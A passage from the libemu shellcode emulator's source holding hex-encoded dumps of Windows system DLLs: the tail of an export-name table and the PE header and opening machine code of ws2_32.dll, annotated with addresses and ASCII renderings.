"\x74\x69\x6F\x6E\x30\x32\x35\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion025.SystemFu /* 009A00 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x32\x36\x00\x53\x79\x73\x74\x65\x6D" //nction026.System /* 009A20 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x37\x00\x53\x79\x73\x74" //Function027.Syst /* 009A40 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x38\x00\x53\x79" //emFunction028.Sy /* 009A60 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x32\x39\x00" //stemFunction029. /* 009A80 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x33" //SystemFunction03 /* 009AA0 */ "\x30\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E" //0.SystemFunction /* 009AC0 */ "\x30\x33\x31\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69" //031.SystemFuncti /* 009AE0 */ "\x6F\x6E\x30\x33\x32\x00\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63" //on032.SystemFunc /* 009B00 */ "\x74\x69\x6F\x6E\x30\x33\x33\x00\x53\x79\x73\x74\x65\x6D\x46\x75" //tion033.SystemFu /* 009B20 */ "\x6E\x63\x74\x69\x6F\x6E\x30\x33\x34\x00\x53\x79\x73\x74\x65\x6D" //nction034.System /* 009B40 */ "\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x33\x35\x00\x53\x79\x73\x74" //Function035.Syst /* 009B60 */ "\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x33\x36\x00\x53\x79" //emFunction036.Sy /* 009B80 */ "\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x34\x30\x00" //stemFunction040. /* 009BA0 */ "\x53\x79\x73\x74\x65\x6D\x46\x75\x6E\x63\x74\x69\x6F\x6E\x30\x34" //SystemFunction04 /* 009BC0 */ "\x31\x00\x54\x72\x61\x63\x65\x45\x76\x65\x6E\x74\x00\x54\x72\x61" //1.TraceEvent.Tra /* 009BE0 */ "\x63\x65\x45\x76\x65\x6E\x74\x49\x6E\x73\x74\x61\x6E\x63\x65\x00" //ceEventInstance. /* 009C00 */ "\x54\x72\x61\x63\x65\x4D\x65\x73\x73\x61\x67\x65\x00\x54\x72\x61" //TraceMessage.Tra /* 009C20 */ "\x63\x65\x4D\x65\x73\x73\x61\x67\x65\x56\x61\x00\x54\x72\x65\x65" //ceMessageVa.Tree /* 009C40 */ "\x52\x65\x73\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69" //ResetNamedSecuri /* 009C60 */ "\x74\x79\x49\x6E\x66\x6F\x41\x00\x54\x72\x65\x65\x52\x65\x73\x65" //tyInfoA.TreeRese /* 009C80 */ "\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E" //tNamedSecurityIn /* 009CA0 */ "\x66\x6F\x57\x00\x54\x72\x75\x73\x74\x65\x65\x41\x63\x63\x65\x73" //foW.TrusteeAcces /* 009CC0 */ "\x73\x54\x6F\x4F\x62\x6A\x65\x63\x74\x41\x00\x54\x72\x75\x73\x74" //sToObjectA.Trust /* 009CE0 */ "\x65\x65\x41\x63\x63\x65\x73\x73\x54\x6F\x4F\x62\x6A\x65\x63\x74" //eeAccessToObject /* 009D00 */ "\x57\x00\x55\x6E\x69\x6E\x73\x74\x61\x6C\x6C\x41\x70\x70\x6C\x69" //W.UninstallAppli /* 009D20 */ "\x63\x61\x74\x69\x6F\x6E\x00\x55\x6E\x6C\x6F\x63\x6B\x53\x65\x72" //cation.UnlockSer /* 009D40 */ "\x76\x69\x63\x65\x44\x61\x74\x61\x62\x61\x73\x65\x00\x55\x6E\x72" //viceDatabase.Unr /* 009D60 */ "\x65\x67\x69\x73\x74\x65\x72\x49\x64\x6C\x65\x54\x61\x73\x6B\x00" //egisterIdleTask. /* 009D80 */ "\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x54\x72\x61\x63\x65\x47" //UnregisterTraceG /* 009DA0 */ "\x75\x69\x64\x73\x00\x55\x70\x64\x61\x74\x65\x54\x72\x61\x63\x65" //uids.UpdateTrace /* 009DC0 */ "\x41\x00\x55\x70\x64\x61\x74\x65\x54\x72\x61\x63\x65\x57\x00\x57" //A.UpdateTraceW.W /* 009DE0 */ "\x64\x6D\x57\x6D\x69\x53\x65\x72\x76\x69\x63\x65\x4D\x61\x69\x6E" //dmWmiServiceMain /* 009E00 */ "\x00\x57\x6D\x69\x43\x6C\x6F\x73\x65\x42\x6C\x6F\x63\x6B\x00\x57" //.WmiCloseBlock.W /* 009E20 */ "\x6D\x69\x43\x6C\x6F\x73\x65\x54\x72\x61\x63\x65\x57\x69\x74\x68" //miCloseTraceWith /* 009E40 */ "\x43\x75\x72\x73\x6F\x72\x00\x57\x6D\x69\x43\x6F\x6E\x76\x65\x72" //Cursor.WmiConver /* 009E60 */ "\x74\x54\x69\x6D\x65\x73\x74\x61\x6D\x70\x00\x57\x6D\x69\x44\x65" //tTimestamp.WmiDe /* 009E80 */ "\x76\x49\x6E\x73\x74\x54\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E" //vInstToInstanceN /* 009EA0 */ "\x61\x6D\x65\x41\x00\x57\x6D\x69\x44\x65\x76\x49\x6E\x73\x74\x54" //ameA.WmiDevInstT /* 009EC0 */ "\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E\x61\x6D\x65\x57\x00\x57" //oInstanceNameW.W /* 009EE0 */ "\x6D\x69\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x47\x75\x69\x64\x73" //miEnumerateGuids /* 009F00 */ "\x00\x57\x6D\x69\x45\x78\x65\x63\x75\x74\x65\x4D\x65\x74\x68\x6F" //.WmiExecuteMetho /* 009F20 */ "\x64\x41\x00\x57\x6D\x69\x45\x78\x65\x63\x75\x74\x65\x4D\x65\x74" //dA.WmiExecuteMet /* 009F40 */ "\x68\x6F\x64\x57\x00\x57\x6D\x69\x46\x69\x6C\x65\x48\x61\x6E\x64" //hodW.WmiFileHand /* 009F60 */ "\x6C\x65\x54\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E\x61\x6D\x65" //leToInstanceName /* 009F80 */ "\x41\x00\x57\x6D\x69\x46\x69\x6C\x65\x48\x61\x6E\x64\x6C\x65\x54" //A.WmiFileHandleT /* 009FA0 */ "\x6F\x49\x6E\x73\x74\x61\x6E\x63\x65\x4E\x61\x6D\x65\x57\x00\x57" //oInstanceNameW.W /* 009FC0 */ "\x6D\x69\x46\x72\x65\x65\x42\x75\x66\x66\x65\x72\x00\x57\x6D\x69" //miFreeBuffer.Wmi /* 009FE0 */ "\x47\x65\x74\x46\x69\x72\x73\x74\x54\x72\x61\x63\x65\x4F\x66\x66" //GetFirstTraceOff /* 00A000 */ "\x73\x65\x74\x00\x57\x6D\x69\x47\x65\x74\x4E\x65\x78\x74\x45\x76" //set.WmiGetNextEv /* 00A020 */ "\x65\x6E\x74\x00\x57\x6D\x69\x47\x65\x74\x54\x72\x61\x63\x65\x48" //ent.WmiGetTraceH /* 00A040 */ "\x65\x61\x64\x65\x72\x00\x57\x6D\x69\x4D\x6F\x66\x45\x6E\x75\x6D" //eader.WmiMofEnum /* 00A060 */ "\x65\x72\x61\x74\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x73\x41\x00" //erateResourcesA. /* 00A080 */ "\x57\x6D\x69\x4D\x6F\x66\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x52" //WmiMofEnumerateR /* 00A0A0 */ "\x65\x73\x6F\x75\x72\x63\x65\x73\x57\x00\x57\x6D\x69\x4E\x6F\x74" //esourcesW.WmiNot /* 00A0C0 */ "\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x52\x65\x67\x69\x73\x74\x72" //ificationRegistr /* 00A0E0 */ "\x61\x74\x69\x6F\x6E\x41\x00\x57\x6D\x69\x4E\x6F\x74\x69\x66\x69" //ationA.WmiNotifi /* 00A100 */ "\x63\x61\x74\x69\x6F\x6E\x52\x65\x67\x69\x73\x74\x72\x61\x74\x69" //cationRegistrati /* 00A120 */ "\x6F\x6E\x57\x00\x57\x6D\x69\x4F\x70\x65\x6E\x42\x6C\x6F\x63\x6B" //onW.WmiOpenBlock /* 00A140 */ "\x00\x57\x6D\x69\x4F\x70\x65\x6E\x54\x72\x61\x63\x65\x57\x69\x74" //.WmiOpenTraceWit /* 00A160 */ "\x68\x43\x75\x72\x73\x6F\x72\x00\x57\x6D\x69\x50\x61\x72\x73\x65" //hCursor.WmiParse /* 00A180 */ "\x54\x72\x61\x63\x65\x45\x76\x65\x6E\x74\x00\x57\x6D\x69\x51\x75" //TraceEvent.WmiQu /* 00A1A0 */ "\x65\x72\x79\x41\x6C\x6C\x44\x61\x74\x61\x41\x00\x57\x6D\x69\x51" //eryAllDataA.WmiQ /* 00A1C0 */ "\x75\x65\x72\x79\x41\x6C\x6C\x44\x61\x74\x61\x4D\x75\x6C\x74\x69" //ueryAllDataMulti /* 00A1E0 */ "\x70\x6C\x65\x41\x00\x57\x6D\x69\x51\x75\x65\x72\x79\x41\x6C\x6C" //pleA.WmiQueryAll /* 00A200 */ "\x44\x61\x74\x61\x4D\x75\x6C\x74\x69\x70\x6C\x65\x57\x00\x57\x6D" //DataMultipleW.Wm /* 00A220 */ "\x69\x51\x75\x65\x72\x79\x41\x6C\x6C\x44\x61\x74\x61\x57\x00\x57" //iQueryAllDataW.W /* 00A240 */ "\x6D\x69\x51\x75\x65\x72\x79\x47\x75\x69\x64\x49\x6E\x66\x6F\x72" //miQueryGuidInfor /* 00A260 */ "\x6D\x61\x74\x69\x6F\x6E\x00\x57\x6D\x69\x51\x75\x65\x72\x79\x53" //mation.WmiQueryS /* 00A280 */ "\x69\x6E\x67\x6C\x65\x49\x6E\x73\x74\x61\x6E\x63\x65\x41\x00\x57" //ingleInstanceA.W /* 00A2A0 */ "\x6D\x69\x51\x75\x65\x72\x79\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73" //miQuerySingleIns /* 00A2C0 */ "\x74\x61\x6E\x63\x65\x4D\x75\x6C\x74\x69\x70\x6C\x65\x41\x00\x57" //tanceMultipleA.W /* 00A2E0 */ "\x6D\x69\x51\x75\x65\x72\x79\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73" //miQuerySingleIns /* 00A300 */ "\x74\x61\x6E\x63\x65\x4D\x75\x6C\x74\x69\x70\x6C\x65\x57\x00\x57" //tanceMultipleW.W /* 00A320 */ "\x6D\x69\x51\x75\x65\x72\x79\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73" //miQuerySingleIns /* 00A340 */ "\x74\x61\x6E\x63\x65\x57\x00\x57\x6D\x69\x52\x65\x63\x65\x69\x76" //tanceW.WmiReceiv /* 00A360 */ "\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x73\x41\x00" //eNotificationsA. /* 00A380 */ "\x57\x6D\x69\x52\x65\x63\x65\x69\x76\x65\x4E\x6F\x74\x69\x66\x69" //WmiReceiveNotifi /* 00A3A0 */ "\x63\x61\x74\x69\x6F\x6E\x73\x57\x00\x57\x6D\x69\x53\x65\x74\x53" //cationsW.WmiSetS /* 00A3C0 */ "\x69\x6E\x67\x6C\x65\x49\x6E\x73\x74\x61\x6E\x63\x65\x41\x00\x57" //ingleInstanceA.W /* 00A3E0 */ "\x6D\x69\x53\x65\x74\x53\x69\x6E\x67\x6C\x65\x49\x6E\x73\x74\x61" //miSetSingleInsta /* 00A400 */ "\x6E\x63\x65\x57\x00\x57\x6D\x69\x53\x65\x74\x53\x69\x6E\x67\x6C" //nceW.WmiSetSingl /* 00A420 */ "\x65\x49\x74\x65\x6D\x41\x00\x57\x6D\x69\x53\x65\x74\x53\x69\x6E" //eItemA.WmiSetSin /* 00A440 */ "\x67\x6C\x65\x49\x74\x65\x6D\x57\x00\x57\x6F\x77\x36\x34\x57\x69" //gleItemW.Wow64Wi /* 00A460 */ "\x6E\x33\x32\x41\x70\x69\x45\x6E\x74\x72\x79\x00\x57\x72\x69\x74" //n32ApiEntry.Writ /* 00A480 */ "\x65\x45\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x52\x61" //eEncryptedFileRa /* 00A4A0 */ "\x77\x00\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //w............... ; libemu-0.2.0+git20120122+564/src/environment/win32/dlls/ws2_32dll.c0000644000175300017530000012146611706767213022767 0ustar dt-npbdt-npbconst char ws2_32_71a10000[]= /* 71A10000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" // MZ.......ÿÿ.. /* 71A10010 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" // ¸.......@....... /* 71A10020 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A10030 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0\x00\x00\x00" // ............ð... /* 71A10040 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" // º.´.Í!¸LÍ!Th /* 71A10050 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" // is program canno /* 71A10060 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" // t be run in DOS /* 71A10070 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" // mode....$....... /* 71A10080 */ "\xF8\x3D\x1C\xFC\xBC\x5C\x72\xAF\xBC\x5C\x72\xAF\xBC\x5C\x72\xAF" // ø=ü¼\r¯¼\r¯¼\r¯ /* 71A10090 */ "\x7F\x53\x7D\xAF\xBD\x5C\x72\xAF\xBC\x5C\x73\xAF\xCB\x5C\x72\xAF" // S}¯½\r¯¼\s¯Ë\r¯ /* 71A100A0 */ "\x7F\x53\x2F\xAF\xB7\x5C\x72\xAF\x7F\x53\x2E\xAF\xBD\x5C\x72\xAF" // S/¯·\r¯S.¯½\r¯ /* 71A100B0 */ "\x7F\x53\x2C\xAF\xBD\x5C\x72\xAF\x7F\x53\x12\xAF\x95\x5C\x72\xAF" // S,¯½\r¯S¯•\r¯ /* 71A100C0 */ "\x7F\x53\x2D\xAF\xB6\x5C\x72\xAF\x7F\x53\x28\xAF\xBD\x5C\x72\xAF" // S-¯¶\r¯S(¯½\r¯ /* 71A100D0 */ "\x52\x69\x63\x68\xBC\x5C\x72\xAF\x00\x00\x00\x00\x00\x00\x00\x00" // Rich¼\r¯........ /* 71A100E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A100F0 */ "\x50\x45\x00\x00\x4C\x01\x04\x00\x05\x97\x10\x41\x00\x00\x00\x00" // PE..L.—A.... /* 71A10100 */ "\x00\x00\x00\x00\xE0\x00\x0E\x21\x0B\x01\x07\x0A\x00\x22\x01\x00" // ....à.! ..". /* 71A10110 */ "\x00\x1E\x00\x00\x00\x00\x00\x00\x73\x12\x00\x00\x00\x10\x00\x00" // .......s..... /* 71A10120 */ "\x00\x20\x01\x00\x00\x00\xA1\x71\x00\x10\x00\x00\x00\x02\x00\x00" // . ...¡q...... /* 71A10130 */ "\x05\x00\x01\x00\x05\x00\x01\x00\x04\x00\x0A\x00\x00\x00\x00\x00" // ........... /* 71A10140 */ "\x00\x70\x01\x00\x00\x04\x00\x00\xB6\x62\x01\x00\x03\x00\x00\x00" // .p....¶b.... /* 71A10150 */ "\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00" // ............ /* 71A10160 */ "\x00\x00\x00\x00\x10\x00\x00\x00\x04\x14\x00\x00\xED\x11\x00\x00" // .........í.. /* 71A10170 */ "\xC8\x25\x01\x00\x78\x00\x00\x00\x00\x50\x01\x00\x08\x04\x00\x00" // È%.x....P... /* 71A10180 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A10190 */ "\x00\x60\x01\x00\xC8\x0D\x00\x00\xD4\x30\x01\x00\x38\x00\x00\x00" // .`.È...Ô0.8... /* 71A101A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ................ /* 71A101B0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x78\xBC\x00\x00\x48\x00\x00\x00" // ........x¼..H... /* 71A101C0 */ "\x88\x02\x00\x00\x74\x00\x00\x00\x00\x10\x00\x00\xD4\x01\x00\x00" // ˆ..t......Ô.. /* 71A101D0 */ "\x10\x25\x01\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // %.@........... /* 71A101E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x00\x00\x00" // .........text... /* 71A101F0 */ "\x33\x21\x01\x00\x00\x10\x00\x00\x00\x22\x01\x00\x00\x04\x00\x00" // 3!.....".... /* 71A10200 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60" // ............ ..` /* 71A10210 */ "\x2E\x64\x61\x74\x61\x00\x00\x00\xEC\x08\x00\x00\x00\x40\x01\x00" // .data...ì...@. /* 71A10220 */ "\x00\x0A\x00\x00\x00\x26\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" // .....&......... /* 71A10230 */ "\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00" // ....@..À.rsrc... /* 71A10240 */ "\x08\x04\x00\x00\x00\x50\x01\x00\x00\x06\x00\x00\x00\x30\x01\x00" // ...P.....0. /* 71A10250 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40" // ............@..@ /* 71A10260 */ "\x2E\x72\x65\x6C\x6F\x63\x00\x00\xC8\x0D\x00\x00\x00\x60\x01\x00" // .reloc..È....`. /* 71A10270 */ "\x00\x0E\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ....6......... /* 71A10280 */ "\x00\x00\x00\x00\x40\x00\x00\x42\x33\x96\x10\x41\x38\x00\x00\x00" // ....@..B3–A8... /* 71A10290 */ "\xD4\x96\x10\x41\x43\x00\x00\x00\x06\x97\x10\x41\x4D\x00\x00\x00" // ԖAC...—AM... /* 71A102A0 */ "\x4E\x96\x10\x41\x59\x00\x00\x00\xD4\x96\x10\x41\x66\x00\x01\x00" // N–AY...ԖAf.. /* 71A102B0 */ "\xD4\x96\x10\x41\x43\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // ԖAC........... /* 71A102C0 */ "\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6E\x74\x64\x6C\x6C" // msvcrt.dll.ntdll /* 71A102D0 */ "\x2E\x64\x6C\x6C\x00\x57\x53\x32\x48\x45\x4C\x50\x2E\x64\x6C\x6C" // .dll.WS2HELP.dll /* 71A102E0 */ "\x00\x41\x44\x56\x41\x50\x49\x33\x32\x2E\x64\x6C\x6C\x00\x4B\x45" // .ADVAPI32.dll.KE /* 71A102F0 */ "\x52\x4E\x45\x4C\x33\x32\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00" // RNEL32.dll...... /* 71A10300 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; // ................ const char ws2_32_71a11000[]= /* 71A11000 */ "\x0A\xBE\xBE\x77\x63\xBC\xBE\x77\x94\x5C\xC0\x77\x31\xF9\xC0\x77" // .¾¾wc¼¾w”\Àw1ùÀw /* 71A11010 */ "\xD8\x23\xC3\x77\x07\xC4\xBF\x77\x67\x9D\xC0\x77\x1B\xC2\xBF\x77" // Ø#ÃwÄ¿wgÀw¿w /* 71A11020 */ "\x4E\x62\xC1\x77\xB1\x0A\xC1\x77\xB1\x0B\xC1\x77\x18\xBF\xBE\x77" // NbÁw±.Áw± Áw¿¾w /* 71A11030 */ "\x60\x76\xC1\x77\x10\xF0\xC0\x77\x94\x7E\xC1\x77\x30\xD7\xBE\x77" // `vÁwðÀw”~Áw0×¾w /* 71A11040 */ "\xE3\x7E\xC1\x77\xCC\x7F\xC1\x77\xB8\x7E\xC1\x77\x00\x00\x00\x00" // ã~ÁwÌÁw¸~Áw.... /* 71A11050 */ "\xCF\x8A\x94\x7C\x01\x4A\x97\x7C\x64\x73\x94\x7C\x00\x00\x00\x00" // ϊ”|J—|ds”|.... /* 71A11060 */ "\xD8\x32\xA0\x71\xB5\x2A\xA0\x71\x63\x33\xA0\x71\x61\x35\xA0\x71" // Ø2 qµ* qc3 qa5 q /* 71A11070 */ "\x0A\x31\xA0\x71\xFE\x3C\xA0\x71\x9A\x20\xA0\x71\xFF\x1C\xA0\x71" // .1 qþ< qš  qÿ q /* 71A11080 */ "\x7D\x15\xA0\x71\x23\x15\xA0\x71\x0C\x17\xA0\x71\xC8\x18\xA0\x71" // } q# q. qÈ q /* 71A11090 */ "\x82\x3C\xA0\x71\x58\x19\xA0\x71\xD1\x22\xA0\x71\x63\x23\xA0\x71" // ‚< qX qÑ" qc# q /* 71A110A0 */ "\xC5\x30\xA0\x71\xCF\x3C\xA0\x71\xFF\x1B\xA0\x71\x7B\x38\xA0\x71" // Å0 qÏ< qÿ q{8 q /* 71A110B0 */ "\x2B\x1A\xA0\x71\x89\x32\xA0\x71\xA0\x14\xA0\x71\x00\x00\x00\x00" // + q‰2 q  q.... /* 71A110C0 */ "\x66\xD9\xDA\x77\x23\xC1\xDC\x77\xE7\xEB\xDA\x77\x83\x78\xDA\x77" // fÙÚw#ÁÜwçëÚwƒxÚw /* 71A110D0 */ "\x1B\x76\xDA\x77\xF4\xEA\xDA\x77\xF0\x6B\xDA\x77\xC1\xC8\xDC\x77" // vÚwôêÚwðkÚwÁÈÜw /* 71A110E0 */ "\x00\x00\x00\x00\x9C\x92\x80\x7C\x27\xA4\x80\x7C\x74\x0D\x83\x7C" // ....œ’€|'¤€|t.ƒ| /* 71A110F0 */ "\xFD\x79\x92\x7C\x3D\x04\x92\x7C\xD4\x05\x92\x7C\xA2\x97\x80\x7C" // ýy’|=’|Ô’|¢—€| /* 71A11100 */ "\x79\x9E\x80\x7C\xF2\x4A\x81\x7C\xA4\x16\x82\x7C\xDE\x2A\x81\x7C" // yž€|òJ|¤‚|Þ*| /* 71A11110 */ "\xEA\x4E\x81\x7C\x63\x13\x82\x7C\x2A\x95\x80\x7C\x3B\xA0\x80\x7C" // êN|c‚|*•€|; €| /* 71A11120 */ "\x01\x9E\x80\x7C\xC5\x9B\x80\x7C\xB5\xBD\x82\x7C\xD9\x29\x83\x7C" // ž€|ś€|µ½‚|Ù)ƒ| /* 71A11130 */ "\x8E\x97\x80\x7C\x28\x97\x80\x7C\x9F\x2D\x81\x7C\x56\x2D\x81\x7C" // Ž—€|(—€|Ÿ-|V-| /* 71A11140 */ "\xB6\x2B\x81\x7C\xC1\xAB\x80\x7C\xF8\x0E\x81\x7C\xD7\x36\x81\x7C" // ¶+|Á«€|ø|×6| /* 71A11150 */ "\xB6\xBD\x80\x7C\x01\xBE\x80\x7C\xCF\xBC\x80\x7C\xA0\xAD\x80\x7C" // ¶½€|¾€|ϼ€| ­€| /* 71A11160 */ "\xAD\x08\x83\x7C\xCF\xB4\x80\x7C\x77\x1D\x80\x7C\x37\x06\x81\x7C" // ­ƒ|Ï´€|w€|7| /* 71A11170 */ "\xDE\xAB\x80\x7C\x20\x25\x80\x7C\x47\x9B\x80\x7C\x70\xC1\x80\x7C" // Þ«€| %€|G›€|pÁ€| /* 71A11180 */ "\x05\x10\x91\x7C\x17\xA0\x80\x7C\x20\x99\x80\x7C\xE5\x17\x80\x7C" // ‘| €| ™€|å€| /* 71A11190 */ "\x16\x1E\x80\x7C\xF5\xDD\x80\x7C\x62\x2E\x86\x7C\x9D\x47\x84\x7C" // €|õ݀|b.†|G„| /* 71A111A0 */ "\x92\x29\x83\x7C\x40\x03\x92\x7C\xAD\xDE\x87\x7C\x40\x97\x80\x7C" // ’)ƒ|@’|­Þ‡|@—€| /* 71A111B0 */ "\x7A\x97\x80\x7C\x31\x03\x92\x7C\xD4\xA0\x80\x7C\xF8\x9B\x80\x7C" // z—€|1’|Ô €|ø›€| /* 71A111C0 */ "\xF1\x9E\x80\x7C\x8A\x18\x92\x7C\x66\x97\x80\x7C\xED\x10\x91\x7C" // ñž€|Š’|f—€|í‘| /* 71A111D0 */ "\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // .... /* 71A111E0 */ "\x68\xAF\x24\xA2\x71\x64\xA1\x00\x00\x00\x00\x50\x8B\x44\x24\x10" // h¯$¢qd¡....P‹D$ /* 71A111F0 */ "\x89\x6C\x24\x10\x8D\x6C\x24\x10\x2B\xE0\x53\x56\x57\x8B\x45\xF8" // ‰l$l$+àSVW‹Eø /* 71A11200 */ "\x89\x65\xE8\x50\x8B\x45\xFC\xC7\x45\xFC\xFF\xFF\xFF\xFF\x89\x45" // ‰eèP‹EüÇEüÿÿÿÿ‰E /* 71A11210 */ "\xF8\x8D\x45\xF0\x64\xA3\x00\x00\x00\x00\xC3\x90\x90\x90\x90\x90" // øEðd£....А /* 71A11220 */ "\x8B\x4D\xF0\x64\x89\x0D\x00\x00\x00\x00\x59\x5F\x5E\x5B\xC9\x51" // ‹Mðd‰.....Y_^[ÉQ /* 71A11230 */ "\xC3\x90\x90\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x56\x33\xF6\x39\x75" // А‹ÿU‹ìV3ö9u /* 71A11240 */ "\x0C\x0F\x84\x21\x86\x00\x00\x83\x7D\x0C\x01\xA1\x10\x10\xA1\x71" // .„!†..ƒ}.¡¡q /* 71A11250 */ "\x8B\x00\xA3\x18\x40\xA2\x71\x0F\x84\x7F\x85\x00\x00\x39\x75\x0C" // ‹.£@¢q„…..9u. /* 71A11260 */ "\x0F\x84\x1C\x86\x00\x00\x33\xC0\x40\x5E\x5D\xC2\x0C\x00\x90\x90" // „†..3À@^]Â.. /* 71A11270 */ "\x90\x90\x90\x8B\xFF\x55\x8B\xEC\x53\x8B\x5D\x08\x56\x8B\x75\x0C" // ‹ÿU‹ìS‹]V‹u. /* 71A11280 */ "\x85\xF6\x57\x8B\x7D\x10\x0F\x84\x28\x86\x00\x00\x83\xFE\x01\x74" // …öW‹}„(†..ƒþt /* 71A11290 */ "\x05\x83\xFE\x02\x75\x1D\xA1\x1C\x40\xA2\x71\x85\xC0\x0F\x85\x6B" // ƒþu¡@¢q…À…k /* 71A112A0 */ "\xA9\x00\x00\x57\x56\x53\xE8\x8B\xFF\xFF\xFF\x85\xC0\x0F\x84\x68" // ©..WVSè‹ÿÿÿ…À„h /* 71A112B0 */ "\xA9\x00\x00\x57\x56\x53\xE8\x24\x00\x00\x00\x83\xFE\x01\x89\x45" // ©..WVSè$...ƒþ‰E /* 71A112C0 */ "\x0C\x0F\x84\x52\x84\x00\x00\x85\xF6\x74\x57\x83\xFE\x03\x74\x52" // .„R„..…ötWƒþtR /* 71A112D0 */ "\x8B\x45\x0C\x5F\x5E\x5B\x5D\xC2\x0C\x00\x90\x90\x90\x90\x90\x6A" // ‹E._^[]Â..j /* 71A112E0 */ "\x30\x68\x10\x13\xA1\x71\xE8\xF5\xFE\xFF\xFF\x8B\x45\x0C\x33\xDB" // 0h¡qèõþÿÿ‹E.3Û /* 71A112F0 */ "\x2B\xC3\x0F\x84\x46\x85\x00\x00\x48\x0F\x84\x27\x84\x00\x00\x48" // +ÄF…..H„'„..H /* 71A11300 */ "\x48\x74\x5F\x33\xC0\x40\xE8\x15\xFF\xFF\xFF\xC2\x0C\x00\x90\x90" // Ht_3À@èÿÿÿÂ.. /* 71A11310 */ "\xFF\xFF\xFF\xFF\x8F\xA3\xA1\x71\x98\xA3\xA1\x71\x59\xE9\x44\xFF" // ÿÿÿÿ£¡q˜£¡qYéDÿ /* 71A11320 */ "\xFF\xFF\x57\x56\x53\xE8\x0C\xFF\xFF\xFF\x85\xC0\x0F\x84\xFD\xA8" // ÿÿWVSè.ÿÿÿ…À„ý¨ /* 71A11330 */ "\x00\x00\x83\x7D\x0C\x00\x74\x98\xA1\x1C\x40\xA2\x71\x85\xC0\x0F" // ..ƒ}..t˜¡@¢q…À /* 71A11340 */ "\x85\xF2\xA8\x00\x00\xEB\x89\x90\x90\x90\x90\x90\xA1\x20\x40\xA2" // …ò¨..뉐¡ @¢ /* 71A11350 */ "\x71\x83\xF8\xFF\x74\x0B\x50\xFF\x15\xAC\x11\xA1\x71\x85\xC0\x75" // qƒøÿt Pÿ¬¡q…Àu /* 71A11360 */ "\x25\xC3\xE8\xE5\xFF\xFF\xFF\xEB\x9A\x90\x90\x90\x90\x90\x8B\xFF" // %Ãèåÿÿÿ뚐‹ÿ /* 71A11370 */ "\x55\x8B\xEC\xFF\x75\x08\x6A\x00\xFF\x35\x24\x40\xA2\x71\xFF\x15" // U‹ìÿuj.ÿ5$@¢qÿ /* 71A11380 */ "\xF4\x10\xA1\x71\x5D\xC3\x6A\x01\x8B\xC8\xE8\x07\x00\x00\x00\xEB" // 